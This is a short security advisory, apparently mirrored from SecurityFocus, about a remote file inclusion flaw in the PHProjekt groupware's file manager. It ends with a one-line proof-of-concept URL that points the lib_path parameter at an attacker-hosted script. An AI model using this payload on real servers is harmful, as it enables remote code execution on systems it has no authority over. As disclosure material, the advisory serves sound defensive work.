9 lines
No EOL
787 B
Text
9 lines
No EOL
787 B
Text
source: https://www.securityfocus.com/bid/4284/info
|
|
|
|
PHProjekt is a freely available, open source PHP Groupware package. It is actively maintained by the PHProjekt Development Team. It will run on most Linux and Unix variants, in addition to Microsoft Windows operating systems.
|
|
|
|
PHProjekt is prone to an issue which may allow an attacker to include arbitrary files located on a remote server. If the included file is a PHP script, this may allow for execution of arbitrary attacker-supplied code.
|
|
|
|
Successful exploitation depends partly on the configuration of PHP on the host running the vulnerable software. If 'all_url_fopen' is set to 'off' then exploitation of this issue may be limited.
|
|
|
|
http://site.com/filemanager/filemanager_forms.php?lib_path=http://attacker.com/nasty/scripts |